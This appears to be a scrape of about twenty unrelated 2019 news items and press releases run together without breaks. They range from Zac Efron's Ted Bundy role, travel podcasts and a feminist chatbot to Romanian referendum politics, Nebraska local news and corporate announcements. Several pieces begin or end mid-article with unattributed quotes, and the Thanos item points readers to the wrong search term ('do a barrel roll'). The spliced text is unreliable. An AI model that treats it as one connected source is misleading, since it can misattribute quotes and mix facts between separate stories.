The role was a far cry from Efron's usual image / Getty Images Earlier this week Efron hit the blue carpet alongside his co-star Lily Collins, who plays Bundys partner of seven years Kendall, for the European premiere of the film. The pair shared a warm embrace as they met on the carpet whilst posing for a string of pictures. Zac Efron: I had to be careful playing Ted Bundy for my own safety Speaking at the premiere, Efron said he had to leave the character on-set for his own safety. You have to be careful for your own emotions, your own safety. This is a movie that I didn't go too method, I was able to compartmentalise myself and leave him on set, in the jail cell - most days, Efron explained. Extremely Wicked, Shockingly Evil and Vile focuses on the horrifying story behind one of Americas most violent killers, which saw him claim the lives of 30 women in seven states in the mid 1970s. The Graham Norton Show airs Friday at 10.35pm on BBC One W ish you werent here? Plug into a travel podcast instead. Armchair escapism has been a pleasant (and sorely needed) respite to the vast majority of the population sheltering in one place, whether thats leafing through old holiday snaps or listening to the pleasant witterings of the well-heeled who have been there, done that. Heres where to go when you cant go anywhere. brb Join Londoner Eleanor Clarke on her travels from Bangkok to Boston as she reports back to jealous friend Lizzy. Listen on Acast and Apple Podcasts Excess Baggage BBC journalist John McCarthy meets authors, reporters and intrepid travellers around the world. Listen on BBC and Apple Podcasts The Big Travel Podcast Journalist Lisa Francesca Nand explores the lives of politicians, Paralympians and celebrities through their travel stories. Listen on Apple Podcasts and Stitcher Travelogue Conde Nast Traveller editors meet hotel owners, tourism officials and globetrotters to check out new openings and hotspots. Listen on Apple Podcasts Zero to Travel Travel expert Jason Moore chats with adventurous people about how to travel on a shoestring. Listen on Apple Podcasts and Stitcher Postcard Academy Every week UK-based American Sarah Mikutel interviews expats and adventurers who packed up everything to start a new adventure in another part of the world. Listen on Apple Podcasts The Armchair Explorer With a podcast title that implies the sedentary wish fulfilment we all desire. Travel writer Aaron Millar takes a deep dive (sometimes literally, in the episode in which he goes shark diving) into some of the worlds lushest environs. He sees it, you hear it. Gorilla trekking and Alaskan wilderness exploring also abound. The Travel Diaries This podcast is as much about the explorer as the explored, as Holly Rubenstein interviews globetrotters about eight travel chapters in their life, from earliest childhood holiday memory to the bucket-list trips they havent ticked off yet. Actor Dev Patel, explorer Sir Ranulph Fiennes and Lonely Planet founder Tony Wheeler are among the list of interviewees. The Food Chain A Beeb-produced podcast available on BBC Sounds, is a smorgasbord of delectable, bitesize podcast content digging back into the corporations archives, examining what it takes to put food on your table. This means going places sometimes including out of this world, to see what can be grown in space and back in time, as chefs examine their life in five dishes. See the world on a plate. The Rough Guide to Everywhere You name the place, and the Rough Guide team (the lads behind the popular travel guides) have written the book on it. In the publishers podcast, The Rough Guide to Everywhere, youll find top tips on how to be a well-liked, conscientious traveller, including advice on when to take photographs (and, more importantly, when not to) and on witchcraft in western Iceland. National Trust podcasts You dont have to go overseas, of course. Enjoy a staycation with the National Trust podcasts, an audio amble-cum-ramble through Capability Browns gardens and into the Lake District, then beyond. Theyre also a fascinating guide to the history of the many stately homes in the Trusts care (an ideal opportunity for some fantasy property-hopping). Theyre 20 minutes long, the perfect time in which to close your eyes, sip a hot brew and slip away somewhere distant. Watling Street R esponsible artificial intelligence (AI) is a hot topic in the tech industry at the moment. Pretty much every time we interact with our phones, whether its to listen to a song on Spotify or find a route on Citymapper, an algorithm is in motion. Yet there are a lot of questions around who is designing these algorithms and what impact do their intrinsic biases have on the people that use them. Recently, Mozilla published its 2019 Internet Health Report (Its complicated), mentioning how technologists and activists are seeking to build more responsible AI. The UK-based organisation,Feminist Internet, is offering one solution to AI bias with a new feminist chatbot, Fxa. Launched at EYs Innovation Realized event in Boston, as part of the EY Women Fast Forwards workshop on AI and bias, the bot teaches people about AI bias and suggests ways it can be reduced. A lot of work has gone into Fxa to ensure it is as bias-free as possible. It was created by a team with different races, genders, gender identities and ways of thinking, as a way to ensure all perspectives were being considered. As well, the team used the Feminist Internets Personal Intelligent Assistant Standards and Josie Youngs Feminist Chatbot Design research, two guidelines to help designers ensure they arent knowingly or unknowingly perpetuating gender inequality when building chatbots. The AI terms to know AI computer intelligence, with machines doing things that we associate with humans, such as problem-solving and learning Machine learning often used as a synonym for AI but actually referring to a specific type of process where a computer can get better at something, often by using lots of data to train the system to get smarter Algorithm a process or a set of rules to be followed by a computer in order to solve a problem You can interact with Fxa on the internet, via your smartphone, at f-xa.co, and its available for anyone to use. It explains what AI is, topics such as data privacy, intrinsic issues with some of our current examples of AI, like personal assistants, and how we can reshape our thinking to improve future AI and bots. Removing bias from AI is not an easy process. At a Google AI event last year, the companys head of ethical machine learning, Jen Gennai, explained that when Google was testing its Smart Reply AI email feature that predicts what people will say in emails to speed up typing, it came up against some big gender issues. We discovered, if I send an email about an engineer who was female, you might get a response [suggesting], he would be a great engineer, explained Gennai. This was because text sources, which algorithms are created using, often associate men with engineers. Gennais role at Google involves testing new products to ensure that these issues dont make it to the final release. Fxa isnt just about making sure bots dont discriminate against women. In keeping with the Feminist Internets definition of feminism, that it is a fight for equality for everyone, it explains how current bots will discriminate against things like accents and how design guidelines can help prevent this. Its a big moment for the Feminist Internet to be releasing its first technological product too. The concept was initially started by Dr Charlotte Webb and became concrete during the UAL Futures Festival, when the Feminist Internet studio was created. All in all, the collective wants to create an equal internet with algorithmic accountability, zero toxic online abuse, and a protection of the right to freedom of expression. A vengers: Endgame finally landed in cinemas this week after what felt like a year-long eternity. The latest instalment of the Marvel franchise is the culmination of more than a decade of filmmaking and closes the book on the first 22 films, ending the cliffhanger of Infinity War in which half of humanity was turned to ash at the hands of supervillain Thanos. Safe to say, everyone is talking about one of the biggest movies of the year. It comes as no surprise then to see Google jumping on the Marvel bandwagon with a special Easter egg of their own, seeing as the global search giant is a well known fan of such clever marketing ploys. All you need to do is Google "do a barrel roll" to find out more. Avengers: Endgame - Trailer 2 Google's latest egg celebrates the release of Endgame by cleverly unleashing Thanos' horribly destructive power on the web. How? Well, all you need to do is Google "Thanos" and you can sit back and watch as half of your search results disappear in a click of the fingers into dust. Searching for the term "Thanos" will trigger an image of the supervillain's gloved hand to appear on the upper right hand side of the screen. Click the hand, and watch in horror as the results randomly disappear one by one, with the numbers falling from 95,000,000 to 47,500,000, in much the same way Thanos randomly turned half of humanity into ash at the end of Infinity War. But don't worry too much, because clicking on the image again will return your results back to normal. VALLEY COTTAGE, N.Y. , April 26, 2019 (GLOBE NEWSWIRE) -- The market for safety sensors and switches in ASEAN countries is likely to grow by more than 8%, yearly, in 2019. As depicted in a new research study of Future Market Insights (FMI), adoption of safety sensors and switches across the ASEAN industries will be prominently driven by those based in Indonesia, Malaysia, and Thailand. FMI has positioned Philippines and Vietnam as high-growth economies in the region's safety sensors and switches market . Safety sensors and switches are being installed almost everywhere, especially in manufacturing and processing industries such as automotive, oil & gas, pharmaceuticals, and food and beverages, where the risk of institutional and personnel damage is high. The high demand from these industries due to personnel safety regulations is expected to push the growth of the safety sensors and switches market within the region. Request a Sample Report with Table of Contents and Figures: https://www.futuremarketinsights.com/reports/sample/rep-gb-813 Automotive & Aerospace Industry Generating Notable Demand According to the report, the oil & gas industry's resurgence, soaring utilization of heavy duty machinery across verticals, and thriving pace of industrial automation and Industry 4.0 adoption will collectively necessitate the demand for streamlining of safety and security measures, thereby driving the revenue of ASEAN's safety sensors and switches market. Currently, over 60% of overall demand for safety sensors and switches is underpinned by the industrial end use sector, a third of which is accounted by the automotive and aerospace industry, followed by food and beverages industry operators. FMI's analysis reveals that oil & gas, metal & mining, and packaging industries will demonstrate high growth potential in the near future, in terms of adoption of safety sensors and switches. The report attributes surging installations of safety sensors and switches across industrial space to the tightening regulatory framework related to workplace safety and security, particularly for industrial workers. ASEAN economies are looking forward to levy stringent safety regulations in the case of industries and commercial spaces to avoid any kind of damage or loss to property or life. This according to the report has created a potential opportunity for the safety sensors and switches market. Safety Sensors and Switches Market: Stringent Regulatory Framework for Workplace Safety & Security Key Booster: ASEAN Industry Analysis 2013-2017 & Opportunity Assessment 2018-2028: https://www.futuremarketinsights.com/reports/asean-safety-sensors-and-switches-market Categorically, among all safety sensors and switches, pressure sensors and transducers are likely to hold a revenue share of over 2/5th of the total market value. The report prompts at a substantial incremental opportunity for electromagnetic relay, in forthcoming years, attributing the same to climbing sales of consumer electronic devices, cost-effective maintenance, and wide applicability of electromagnetic relay. The demand for emergency stop controls, pressure sensing safety sensors, and other safety devices will particularly gain momentum, as a result of rapid industrialization across leading ASEAN countries. Moreover, while new installations of safety sensors and switches account for just-under 80% of the ASEAN's total market value, FMI opines that the preference of end-use industries for new installation over retrofit will prevail in years to come. ASEANs Manufacturers Facing Pricing Pressure ASEAN market competition has been witnessing incessant support from prominent safety sensors and switches market participants based overseas. All the manufacturers are competing against each other as well as with foreign players in the machine safety products market to firm up in the marketplace. Moreover, several start-ups have been considering sustainability as a key area of focus in the safety sensors and switches development. According to FMIs analysis, this increasing competition scenario is imposing a negative impact on the price setting strategy, which is compelling manufacturers of safety sensors and switches in the ASEAN region to deliver offerings at lower prices. Buy Full Safety Sensors and Switches Market Report Now @ https://www.futuremarketinsights.com/checkout/813 In an effort to remain at the edge of stiff market competition, key players have been prioritizing a set of parameters such as accuracy level, operational life, and brand value, while designing and engineering new safety sensors and switches. The safety sensors and switches market report profiles some of the key companies that are operating in the ASEAN safety sensors and switches market, including Schneider Electric, Honeywell International, Emerson Electric Co., Eaton, Carlo Gavazzi Automation S.p.A., OMRON Corporation, OMEGA Engineering, WIKA Alexander Wiegand SE & Co. KG, TE Connectivity, VEGA Instruments Co., Ltd., Mitsubishi Electric Corporation, Texas Instruments, Infineon Technologies AG, Murata Manufacturing Co., Ltd., Panasonic Corporation, Phoenix Contact, KEYENCE Corporation, and ZEBRA. Our advisory services are aimed at helping you with specific, customized insights that are relevant to your specific challenges. Let us know about your challenges and our trusted advisors will connect with you: https://www.futuremarketinsights.com/askus/rep-gb-813 More from FMIs Industrial Automation & Equipment Market Intelligence: About Us Future Market Insights (FMI) is a leading market intelligence and consulting firm. We deliver syndicated research reports, custom research reports and consulting services which are personalized in nature. FMI delivers a complete packaged solution, which combines current market intelligence, statistical anecdotes, technology inputs, valuable growth insights and an aerial view of the competitive framework and future market trends. Browse More Industrial Automation & Equipment Market Insights Contact Us OXNARD, Calif., April 26, 2019 (GLOBE NEWSWIRE) -- CURE Pharmaceutical (OTC: CURR) (CURE), an innovative drug delivery and development company, has been named 2019s Innovative Business of the Year by Oxnard Chamber of Commerce in recognition to the companys innovative thinking for various programs, employing pioneering technology and a dedication to improving the health of the community and world. The Oxnard Chamber of Commerce presented CURE Pharmaceutical with the Innovative Business of the Year award at its 69th Annual Community & Business Awards Dinner on Thursday, April 25 at 6:00 p.m. at Residence Inn by Marriott/River Ridge in Oxnard. Mark Udell, CUREs Chief Accounting Officer, was present to accept the award for the company and spoke briefly: At CURE, we are dedicated to improving the health and wellness for the future. Our mission is to change the way medication is delivered in an easy-to-administer form, improving the patient experience and drug efficacy. The Innovative Business of the Year award acknowledges an Oxnard business that exhibits innovative thinking through employee benefits, programs employing technology or environmentally friendly practices. Oxnard is home to our business and our employees, said Udell. This honor recognizes our innovative work and leadership in our community, and the impact this little town can have around the world. For more information about the innovative work from CURE Pharmaceutical, please visit its website at www.curepharma.com. About CURE Pharmaceutical CURE Pharmaceutical is a vertically integrated drug delivery and development company committed to improving drug efficacy, safety and the patient experience through its proprietary drug dosage forms and delivery systems. CURE has a full-service cGMP manufacturing facility and is a pioneering developer and manufacturer of a patented and proprietary delivery system (CUREfilm), one of the most advanced oral thin film on the market today. CURE is developing an array of products in innovative delivery platforms and partners with biotech and pharmaceutical companies. CURE has positioned itself to advance numerous therapeutic categories, including the pharmaceutical cannabis sector with partnerships in the U.S., Canada and Israel. The companys mission is to improve peoples lives by redefining how medicines are delivered and experienced. This press release contains forward-looking statements that involve risks and uncertainties. There are important factors that could cause actual results to differ materially from those in the forward-looking statements. These factors include, without limitation, the ability to satisfy the conditions to close the merger, risks associated with realizing the expected benefits of the merger, the ability to successfully market our products, the difficulty in predicting the timing or outcome of other product research and development efforts, potential product characteristics and indications, marketing approvals and launches of other products, the impact of pharmaceutical industry regulation, the impact of competitive products and pricing, the acceptance and demand of new pharmaceutical products, the impact of patents and other proprietary rights held by competitors and other third parties and the ability to obtain financing on favorable terms. The forward-looking statements in this press release reflect the Company's judgment as of the date of this press release. The Company disclaims any intent or obligation to update these forward-looking statements. This press release shall not constitute an offer to sell or the solicitation of an offer to buy nor shall there be any sale of our securities in any state or jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of any such state or jurisdiction. Media Inquiries: Ashley Ray 310.824.9000 aray@olmsteadwilliams.com A photo accompanying this announcement is available at http://www.globenewswire.com/NewsRoom/AttachmentNg/e923e912-be23-4e88-853e-cda6cb9b1558 The photo is also available via AP PhotoExpress Sign up for our newsletter to keep reading. Be the first to know Get local news delivered to your inbox! Sign up! Already a Subscriber? Already a Subscriber? Sign in Terms of Service Privacy Policy Its humbling to come back here, he said. You go everywhere that is highly populated and while its gorgeous, coming back here is great. Its good to be able to have that vibe and roots to find that relaxed feeling. On Wednesday evening, Van Newkirk once again took to the stage to perform as the featured artist in the Tapestry Dance Companys show "Passing It Forward." However, the focus was on telling his family history through tap, which was different from his previous experience in competitions. That change was extremely difficult. You have to deal with the fact that competition dance is like going out and doing the hardest you can do. You are just killing it on stage and you dont have any musicality, he said. But, for me going from a competition to a storytelling aspect, that was a difficult thing because tap dance is very difficult to show as well as to express this in the storytelling aspect. Reflecting on his Nebraska roots, he decided to focus on the hardworking aspect of farmers while also showcasing his cultural diversity. LINCOLN With about 25 days remaining in the 2019 legislative session, District 48 State Sen. John Stinner of Gering said they were approaching crunch time to pass bills and also develop a draft budget for debate starting in May. During a Thursday morning conference call, Stinner said Wednesday and Thursday were probably the most significant days as it related to legislative business. Wednesday was taken up with a public hearing before the Revenue Committee on Amendment 1381 to the original LB 289 dealing with property tax relief. Stinner said from his count there were four people in favor of the bill, 49 opposing it and about 15 testifying in a neutral position. The amendment proposes to increase the state sales tax rate from the current 5.5% to 6.5% and also raise the cigarette excise tax by 36 cents, up to $1 a pack. When combined with local taxes, the sales tax rate could go as high as 8.25% for some municipalities. Not included are special occupation taxes, like for restaurants and bars, levied at the local level. Overall, it could raise the sales tax rate on some purchases to as high as 12%. Gering Parks Director Amy Seiler was joined by Community Forester Chrissy Land with the Nebraska Forest Service and the Gering Parks Department crew on Thursday to talk with Northfield Elementary School fourth-graders about the importance of Arbor Day, a Nebraska original holiday. Students then spread out into Northfield Park to plant trees in honor of the event. Gering Parks Director Amy Seiler was joined by Community Forester Chrissy Land with the Nebraska Forest Service and the Gering Parks Department crew on Thursday to talk with Northfield Elementary School fourth-graders about the importance of Arbor Day, a Nebraska original. Students then spread out into Northfield Park to plant trees in honor of the event. We have been fortunate to have a foundation board that really embraces the idea of fundraising and supporting the college, he said. It has been great going out with them and telling the story of the college. WNCC makes a huge difference in the Panhandle and it is very easy to tell that story. The college has also seen a great deal of change in its physical presence since Holcomb began at the college. A significant remodel and addition of Pioneer Hall, one of two student housing complexes on the Scottsbluff campus, was completed and the Sidney campus saw the addition of housing. Renovations of the Science lab and renovation of the former cosmetology department into an innovation and entrepreneurship center, which was unveiled last week, were also among the improvements. A major project, construction of the Howard P. Olsen Jr Student Success Center, Learning Commons and Platte Valley Companies Performing Arts Center, is nearing completion. The project is slated for completion in July. Holcomb said that programs at WNCC, such as its Guided Pathways program and summer-free tuition, have also contributed to student success and retention. All in all, there are a lot of great things at the college and only continue to grow, develop and mature, he said. Countries & Areas Search for country or area A Afghanistan Albania Algeria Andorra Angola Antigua and Barbuda Argentina Armenia Australia Austria Azerbaijan B Bahamas Bahrain Bangladesh Barbados Belarus Belgium Belize Benin Bhutan Bolivia Bosnia and Herzegovina Botswana Brazil Brunei Bulgaria Burkina Faso Burma Burundi C Cabo Verde Cambodia Cameroon Canada Central African Republic Chad Chile China Colombia Comoros Costa Rica Cote dIvoire Croatia Cuba Cyprus Czechia D Democratic Republic of the Congo Denmark Djibouti Dominica Dominican Republic E Ecuador Egypt El Salvador Equatorial Guinea Eritrea Estonia Eswatini Ethiopia F Fiji Finland France G Gabon Gambia Georgia Germany Ghana Greece Grenada Guatemala Guinea Guinea-Bissau Guyana H Haiti Holy See Honduras Hungary I Iceland India Indonesia Iran Iraq Ireland Israel Italy J Jamaica Japan Jordan K Kazakhstan Kenya Kiribati Kosovo Kuwait Kyrgyzstan L Laos Latvia Lebanon Lesotho Liberia Libya Liechtenstein Lithuania Luxembourg M Madagascar Malawi Malaysia Maldives Mali Malta Marshall Islands Mauritania Mauritius Mexico Micronesia Moldova Monaco Mongolia Montenegro Morocco Mozambique N Namibia Nauru Nepal Netherlands New Zealand Nicaragua Niger Nigeria North Korea North Macedonia Norway O Oman P Pakistan Palau Palestinian Territories Panama Papua New Guinea Paraguay Peru Philippines Poland Portugal Q Qatar R Republic of the Congo Romania Russia Rwanda S Saint Kitts and Nevis Saint Lucia Saint Vincent and the Grenadines Samoa San Marino Sao Tome and Principe Saudi Arabia Senegal Serbia Seychelles Sierra Leone Singapore Slovakia Slovenia Solomon Islands Somalia South Africa South Korea South Sudan Spain Sri Lanka Sudan Suriname Sweden Switzerland Syria T Taiwan Tajikistan Tanzania Thailand Timor-Leste Togo Tonga Trinidad and Tobago Tunisia Turkey Turkmenistan Tuvalu U Uganda Ukraine United Arab Emirates United Kingdom Uruguay Uzbekistan V Vanuatu Venezuela Vietnam Y Yemen Z Zambia Zimbabwe English Lithuanian Maxima Grupe has appointed Gintaras Jasinskas as its new head of commerce. He will head the subsidiary Maxima International Sourcing, which provides agency services to the groups retail chains in the Baltic countries, Poland and Bulgaria, develops private label brands, and engages in wholesale trade. G. Jasinskas will also continue working as CEO of Maxima International Sourcings Polish unit. Commerce is a cornerstone of our business in Maxima Grupes current phase of growth. Gintaras Jasinskas is a real professional in this area. His long years of experience in the retail sector will be very important for strengthening Maxima International Sourcing and further developing its operations, says Justas Riauba, the chairman of the board and CEO of Maxima Grupe. Before joining Maxima International Sourcing, G. Jasinskas was responsible for Maxima Grupes commercial projects in Poland and Bulgaria. He has been working in different Maxima Grupe companies for more than 20 years. Im grateful for this recognition and opportunity to use the experience Ive accumulated leading Maxima International Sourcing. The company has put together a very strong team, with whom well work together to achieve ambitious goals. Our priority will remain acquiring goods on attractive terms, so that we can continue to ensure good prices for our customers in all markets, G. Jasinskas says. As CEO of Maxima International Sourcing he is replacing Tomas Palevicius, who will continue his career outside the organization. Maxima Grupe announced its decision to establish Maxima International Sourcing last fall. The company was created by separating off activities of Franmax, which has provided franchise and agency services for the groups companies, aiming to refine and strengthen international purchasing competencies. After the reorganization, two companies have continued to operate: FRANMAX UAB and the separated-off MAXIMA International Sourcing UAB. There are around 130 employees working in the company. In March, Maxima International Sourcing Poland, companys unit in Poland, was established. The office of the company is located in the capital city Warsaw. Franmax continues to provide franchise and support services for the groups companies in the areas of IT, supply-chain and store development. Contact person: Ugne Bartasiute Mob.: +370 614 74046 Email: ugne.bartasiute@maximagrupe.eu A 19-year-old inmate assaulted two deputies at the Iredell County Detention Center before being restrained, authorities said. On Sunday, deputies were performing security checks at the detention center when one deputy entered a housing unit and the inmate became irate, a news release stated. The inmate was identified as Trenton Daquan Adair Martin. Sheriff Darren Campbell said Martin aggressively approached the deputy after he attempted to de-escalate the situation. The deputy requested backup over his radio and the inmate grabbed him and began striking him, Campbell said. Both Martin and the deputy were in a struggle and the officer was pushed over a metal stool, causing the deputy to fall backwards and hit his head on the stool, Campbell said. Martin then got on top of the deputy and began punching him in the head, the release stated. Another deputy attempted to take control of the situation, but the inmate pushed the officer away, authorities said. Warrants state the second officer was pushed to the ground. Mitchell College and Roots Outdoor will host several events in early May when Carney will discuss the principles behind the book, sign copies and answer questions. Carney will be discussing his book at several upcoming events in downtown Statesville. On Saturday, May 4, he will be at the Alumni Weekend at Mitchell Community College in the Student Union from 10:30 a.m. to 2 p.m. and at Roots Outdoor from 2-4 p.m. Then, on Thursday, May 9, he will host a Lunch n Learn with Mitchell Community College, in the Library Rotary Auditorium, from 12:30 to 1:30 p.m. Admission is free and registration is not required. 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"I believe that the referendum won't be successful. (...) I don't think so. And let me tell you why. Today, I've seen the questions. I am telling you that in a village, a commune, it's not actually understandable what the second question is about. It's hard for the people to be interested in what it been written there. Therefore, it seems to me that even the question is uninspired," Viorica Dancila told in an interview to Adevarul.ro. When asked whether she will go to the referendum, Dancila said: "Yes, I'm going." "Yes, I would like to go to the referendum, but, you realise that I, too, am politically registered, I am the executive chairman of the PSD [the Social Democratic Party]. If the party decides not to go, I will follow it. (...) I cannot make such scenarios, but if the party makes this decision, then, it's normal to observe it, in order to prove unity within the political formation," Dancila added. President Klaus Iohannis signed on Thursday the decree regarding the organisation of the referendum on 26 May, on the day of the elections to the European Parliament. According to article 2, the citizens are called upon to express their will, through YES or No, to the following questions: 1. Do you agree with banning amnesty and pardon for corruption offenses?; 2. Do you agree with banning the Government to adopt emergency ordinances in the area of criminal offenses, punishments and judicial organization, and to extend the right to directly challenge the ordinances with the Constitutional Court?. AGERPRES Swedish English Investor News Hrsholm, Denmark and Cambridge, MA, US, April 26, 2019 Oncology Venture A/S announced today that an editorial published in Pharmagenomics explains how the DRP can guide the treatment for breast cancer. Currently, there are a variety of drugs available for the treatment of advanced breast cancer. Nonetheless very little guidance can be gathered on the selection of which drug to use for each patient. In the editorial in Pharmagenomics, written by Ida Kappel Buhl et al, the authors explain how drug response predictors (DRP) can give clinical benefits on the selection of which drug to use. Read the full editorial here: https://www.futuremedicine.com/doi/full/10.2217/pgs-2018-0195 . For further information, please contact: For investor inquiries Ulla Hald Buhl IR & Communications E-mail: uhb@oncologyventure.com Telephone +45 21 70 10 49 For media inquiries Thomas Pedersen Carrotize PR & Communications E-mail: tsp@carrotize.com Telephone +45 60 62 93 90 About Oncology Venture A/S Oncology Venture A/S is engaged in the research and development of anti-cancer drugs via its wholly-owned subsidiary, Oncology Venture Product Development ApS. Oncology Venture uses Drug Response Prediction DRP to significantly increase the probability of success in clinical trials. DRP has proven its ability to provide a statistically significant prediction of the clinical outcome from drug treatment in cancer patients in 29 out of 37 clinical studies that were examined and is currently demonstrating promising results in an ongoing phase 2 study prospectively using LiPlaCis and its DRP to track, match and treat patients with metastatic breast cancer. The DRP alters the odds in comparison with traditional pharmaceutical development. Instead of treating all patients with a particular type of cancer, patients tumors genes are first screened, and only the patients most likely to respond to the treatment will be treated. Via a more well-defined patient group, risks and costs are reduced while the development process becomes more efficient. The current OV product portfolio includes: LiPlaCis, a liposomal formulation of cisplatin in an ongoing Phase 2 trial for breast and prostate cancer; 2X-121 a PARP inhibitor in an ongoing Phase 2 for breast cancer; dovitinib, which will enter Phase 2 trials for indications dependent on further Dovitinib-DRP retrospective/prospective analysis of studies completed by Novartis. 2X-111, a liposomal formulation of doxorubicin under manufacturing for Phase 2 in breast cancer; irofulven, a Phase 2 is ongoing for prostate cancer; and APO010, an immuno-oncology product in Phase 1/2 for multiple myeloma. Oncology Venture has spun out two companies as Special Purpose Vehicles: Oncology Venture U.S. Inc. (previously 2X Oncology Inc.), a US-based precision medicine company focusing on developing 2X-121 and 2X-111, and OV-SPV 2, a Danish company that will test and develop dovitinib. Oncology Venture A/S has an ownership of 92% in Oncology Venture US and 55% of dovitinib with an opportunity to acquire further 30%. Learn more at oncologyventure.com Follow us on social media: Facebook: https://www.facebook.com/oncologyventure/ LinkedIn: https://www.linkedin.com/company/oncology-venture/ Twitter: https://twitter.com/OncologyVenture Forward-looking statements This announcement includes forward-looking statements that involve risks, uncertainties and other factors, many of which are outside of OVs control and which could cause actual results to differ materially from the results discussed in the forward-looking statements. Forward-looking statements include statements concerning OVs plans, objectives, goals, future events, performance and/or other information that is not historical information. All such forward-looking statements are expressly qualified by these cautionary statements and any other cautionary statements which may accompany the forward-looking statements. OV undertake no obligation to publicly update or revise forward-looking statements to reflect subsequent events or circumstances after the date made, except as required by law. Certified Adviser: Sedermera Fondkommission. Epost: ca@sedermera.se, telefon 040-615 14 10 Attachment Pope Francis welcomed this week in Vatican the Protection and Guard Service (SPP) team in charge of his protection between 31 May and 2 June, when the Pope pays an official visit to Romania, a release of the Interministerial Committee taking care of this event informed. "Pope Francis voiced his confidence in the professionalism and dedication of the Romanian protection officers, whom he blessed and wished happy Easter holidays," the quoted source mentioned.The team ensuring the Pope's safety during his visit to Romania is made up of officers of the Protection and Guard Service, specially trained for such an event.The security at national level of the entire visit is ensured and coordinated, in its entirely, by the "Pope Francis's visit 2019" Interministerial Security Committee made up of institutions of the National Defence, Public Order and National Security System - the National Defence Ministry (MApN), the Interior Ministry (MAI), the Romanian Intelligence Service (SRI), the Foreign Intelligence Service (SIE), the Special Telecommunications Service (STS) and the Protection and Guard Service (SPP). President Klaus Iohannis announced on Thursday that he will campaign for the referendum of 26 May. "I will be accused of campaigning, but it's normal. It's normal to campaign for Romania, not for something else. Since becoming the President, I get involved for Romania and I want to get involved for this, too. Yes, I will also campaign for the referendum and for the presidential elections, but, especially, for a European Romania, a just Romania, a fair Romania, a Romania as the Romanians want, not as the Social Democrats want. They have spent the money on electoral charities, ignored the Romanians' needs - they must be taught a lesson and this lesson will be taught in the first stage with the referendum of 26 May. In these two and a half years numerous wrong decisions have been adopted, countless wrong approaches of the PSD [the Social Democratic Party], they fought against justice, against opposition, against multinationals, against Europe. I, the president of Romania, will campaign against these abuses! I will campaign against these decisions because it is the duty of any honest, pro-European patriot, a good Romanian, concerned about the country's future to campaign for a better Romania. I will get involved," the head of state said at the Cotroceni Presidential Palace. He urged Romanians to go to vote for the referendum. "Dear Romanians, I await you at the referendum," Iohannis concluded, wishing them 'Happy Holidays!'." AGERPRES This content was produced by Brand Ave. Studios. The news and editorial departments of the St. Louis Post-Dispatch had no role in its creation or display. Brand Ave. Studios connects advertisers with a targeted audience through compelling content programs, from concept to production and distribution. For more information contact sales@brandavestudios.com David Nicklaus David Nicklaus is a business columnist for the St. Louis Post-Dispatch. Follow David Nicklaus Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. Save Manage followed notifications Close Followed notifications Please log in to use this feature Log In Don't have an account? Sign Up Today What gets measured gets managed. That maxim, often attributed to management guru Peter Drucker, gets repeated as gospel in boardrooms and business schools. Now, activist investors are trying to harness its wisdom to shrink the gender pay gap. Across the U.S. economy, women earn roughly 80 percent as much as men. A generations worth of social activism and consciousness-raising has done little to raise that figure. Arjuna Capital, a Boston-area investment firm, figures sunlight might do more. It targeted 12 major companies this spring with proposals asking them to disclose the difference in median pay between their male and female employees. Arjuna and other investors have already succeeded in getting about two dozen firms to calculate pay differences for men and women doing the same work. Those disclosures have been surprisingly uniform: Companies from Amazon to Starbucks to Mastercard all say their women employees earn 99 to 100 percent as much as men in the same job. OAKVILLE, ONTARIO, April 26, 2019 (GLOBE NEWSWIRE) -- The Great Place to Work Institute has named FCT one of the Top 50 Best Workplaces in Canada for the fifth consecutive year as part of its 2019 Best Workplaces list. FCT remains the first and only title insurance company to make the Top 50 Best Workplaces list. FCT, which is included the Top 50 Best Workplaces Large and Multinational category, has been recognized as a Best Workplace because of its commitment to building an environment where employees have the opportunity to be great. Through its benefits and recognition programs, employee volunteering and other initiatives, FCT is invested in its employees, its customers and the communities in which it operates. Michael LeBlanc, CEO of FCT, explains Our employees are at the heart of what we do. They drive the business decisions we make for today and for the future. In turn, we are invested in them by creating a work environment that encourages them to grow. This recognition is proof of that. Were deeply honoured to be recognized by The Great Place to Work Institute, but even more proud of our employees, who make FCT a great place to work. FCT was selected among hundreds of companies vying for a place on the list this year. Applicant companies must participate in an employee survey and respond to an in-depth questionnaire about their company programs and practices that is closely evaluated by the Great Place to Work Institute. The competition process is based on two criteria: two-thirds of the total score comes from confidential employee survey results and the remaining one-third comes from an in-depth review of the organizations culture. This years list received over 400 registrations and over 80,000 employees participated in the 2019 Best Workplaces in Canada survey. About Great Place to Work: Great Place to Work is the global authority on high-trust, high-performance workplace cultures. It is a global research and consulting firm with a mission to build a better society by helping companies transform their workplaces. Great Place to Work provides the benchmarks, framework and expertise needed to create, sustain and recognize outstanding workplace cultures. In Canada, Great Place to Work produces both industry and demographic-specific Best Workplace lists. This is part of the worlds largest annual workplace study, which culminates in a series of national lists in over 50 countries, including the studys flagship list of 100 Best Companies published annually in Fortune magazine. Globally, this survey represents the voices of 11 million employees, which are the primary determinant used in selecting winners. Theres only one way to get on this list your employees have to put you on it. Check out www.greatplacetowork.ca About FCT Founded in 1991, the FCT group of companies is based in Oakville, Ontario, and has over 800 employees across the country. The group provides industry-leading title insurance, default solutions and other real-estate-related products and services to approximately 450 lenders, 43,000 legal professionals and 5,000 recovery professionals, as well as real estate agents, mortgage brokers and builders, nationwide. The Great Place to Work Institute has named FCT one of Canadas Top 50 Best Workplaces for five consecutive years (2015, 2016, 2017, 2018, 2019) and certified FCT as a Great Place to Work. FCTs parent company, First American Financial Corporation, was named to the Fortune 100 Best Companies to Work For list in 2016, 2017, 2018 and 2019. For more information on FCT, please visit the company website at www.fct.ca. -30- He did learn a lot. And he conducted more than hed expected, leading 83 childrens concerts in his first year. Among Slatkins strengths was his broad knowledge of the repertoire. Another was his comfort in different styles, necessary when orchestras were moving to longer 52-week seasons. It was just at the time when orchestras were starting to think about slightly different audiences that they would need to attract, he says. So those of us who had a degree of comfort going from classical to rock stuff, folk music, jazz, whatever it happened to be, could do pretty well for ourselves. His primary job was to listen to rehearsals from out in the house; watching was equally important. Yeah, you want to see what the conductor is doing thats right, but youre going to learn more by watching what they dont do correctly, he says. Correctly is a projective matter, of course. But if you see that a particular gesture, or the way you use your words, or the way your body language is, if you see something isnt working, you can keep that always in the back of your mind. The student decides which path to pursue. If the student files a complaint with the Title IX office, an administrator meets with the student, takes the complaint and determines if it meets the requirement for a Title IX 